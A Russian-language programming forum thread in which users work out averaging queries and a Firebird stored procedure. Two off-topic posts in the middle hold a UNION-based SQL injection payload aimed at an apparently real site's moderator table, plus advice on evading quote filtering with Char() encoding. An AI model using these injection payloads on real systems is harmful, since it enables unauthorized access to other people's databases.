Подсчёты в таблице базы.
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Подсчёты в таблице базы. - 2008-03-31 13:02:54.810000
|
|
|
T
Сообщений: 1100
Оценки: 0
Присоединился: 2006-01-14 00:15:36
|
Есть таблица в базе (interbase firebird 1,5) с двумя ключевыми столбцами, и третий столбец содержащий данные. Необходимо при изменениях подсчитать средние данные выбирая по одному из ключевых элементов, вынося их в 2 другие таблицы. Например исходная таблица (ключи 1 и 2, и столбец данных): к1,к2,данные; 1 , 1 , 1 ; 2 , 1 , 0 ; 3 , 1 , 0 ; 1 , 2 , 1 ; 2 , 2 , 1 ; 3 , 2 , 1 ; 4 , 2 , 1 ; 5 , 2 , 0 ; 1 , 3 , 0 ; 2 , 3 , 0 ; 4 , 1 , 1 ; 5 , 1 , 1 ; 6 , 1 , 0 . Отсюда по средним данным выборки по ключу к1: по 1 выбралось 1,1,0 среднее = 0.666 по 2 выбралось 0,1,0 среднее = 0.333 по 3 выбралось 0,1 среднее = 0.5 по 4 - 1,1 ср = 1 по 5 - 0,1 ср = 0.5 по 6 - 0 ср = 0 Также и по ключу к2: по 1 - 1,0,0,1,1,0 ср = 0.5 по 2 - 1,1,1,1,0 = 0.8 по 3 - 0,0 = 0 Поможете это реализовать.
|
|
|
RE: Подсчёты в таблице базы. - 2008-03-31 13:41:18.746666
|
|
|
dos 999
Сообщений: 331
Оценки: 0
Присоединился: 2007-12-17 10:49:07.556666
|
Запрос SELECT avg(dat) from tab where k1=1 выдаст среднее начение поля dat где k1=1, в твоём случае это 0.666
|
|
|
RE: Подсчёты в таблице базы. - 2008-03-31 13:54:00.783333
|
|
|
T
Сообщений: 1100
Оценки: 0
Присоединился: 2006-01-14 00:15:36
|
да, это ясно, а как использовать FOR, чтобы перебрать все значения ключа?
|
|
|
RE: Подсчёты в таблице базы. - 2008-03-31 14:37:48.210000
|
|
|
T
Сообщений: 1100
Оценки: 0
Присоединился: 2006-01-14 00:15:36
|
поидее FOR SELECT avg(dat) FROM tab.k1 INTO tab_avg_k1 DO Вот он поидее в таблицу tab_avg_k1 но чёто сомневаюсь… щас буду пробовать…
|
|
|
RE: Подсчёты в таблице базы. - 2008-04-01 10:48:42.293333
|
|
|
dos 999
Сообщений: 331
Оценки: 0
Присоединился: 2007-12-17 10:49:07.556666
|
Есть хорошая книга для новечков А.Шкрыль "Разработка клиент серверных приложений в Delphi" там описываються основы работы и в FB/IB и MSSQL Советую её заказать если денег не жалко. По теме: ну чё получилось?
|
|
|
RE: Подсчёты в таблице базы. - 2008-04-01 13:41:52.923333
|
|
|
T
Сообщений: 1100
Оценки: 0
Присоединился: 2006-01-14 00:15:36
|
Книгу щас поищу в нэте в эл. варианте, по теме решил делать не на тригере а на процедуре хранимой, т.к. напряжно пересчитывать все таблицы средних значений… хай клиент даёт запрос и на него будет уже считаться среднее значение…
|
|
|
RE: Подсчёты в таблице базы. - 2008-04-06 20:14:13.466666
|
|
|
elexir
Сообщений: 30
Оценки: 0
Присоединился: 2008-03-04 23:33:25.566666
|
извеняюсь сбился стемы вот запрос выгледит таким всеровnо выбевает еrror +UNION+SELECT+columns_name+from+information_schema.columns+where+table_name='moderator'/* Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /www/htdocs/kaznpu/function.php on line 16 даже пробывал в конце добавить+lim1,1/*невыходит подскожите пожалуйста
|
|
|
RE: Подсчёты в таблице базы. - 2008-04-07 10:30:31.330000
|
|
|
dos 999
Сообщений: 331
Оценки: 0
Присоединился: 2007-12-17 10:49:07.556666
|
Ну чувак ты даёшь =))) тебе совсем в другой раздел про инъекции писать надо ))) 1. количество полей точно правильное? 2. скорее всего фильтруеться ковычка… попробуй +UNION+SELECT+columns_name+from+information_schema.columns+where+table_name=Char(109,111,100,101,114,97,116,111,114)–
|
|
|
RE: Подсчёты в таблице базы. - 2008-04-16 10:11:10.990000
|
|
|
T
Сообщений: 1100
Оценки: 0
Присоединился: 2006-01-14 00:15:36
|
Написал процедуру: CREATE PROCEDURE GET_AVG_BY_TOV ( kod integer) returns ( avg_data float) as declare variable b bigint; declare variable a float; declare variable c integer; begin for select nalichie from data(magazin_nomer,kod_tovara,nalichie) where kod_tovara=:kod into :b do begin c=c+1; a=a+b; end avg_data=a/c; suspend; end Где ошибка?
|
|
|
RE: Подсчёты в таблице базы. - 2008-04-16 10:24:59.336666
|
|
|
T
Сообщений: 1100
Оценки: 0
Присоединился: 2006-01-14 00:15:36
|
убрал в страке from data(magazin_nomer,kod_tovara,nalichie) (magazin_nomer,kod_tovara,nalichie) процедура откомпилилась, но непашет… выдаёт нул на выходной параметр…
|
|
|
RE: Подсчёты в таблице базы. - 2008-04-16 13:53:55.090000
|
|
|
T
Сообщений: 1100
Оценки: 0
Присоединился: 2006-01-14 00:15:36
|
Обнулил переменные перед использованием, процедура запахала правильно))) Теперь буду мучаться с вызовом её из дельфей… З.Ы. Помог бы кто? ))) Иль новую тему создавать?
|
|
|
|
|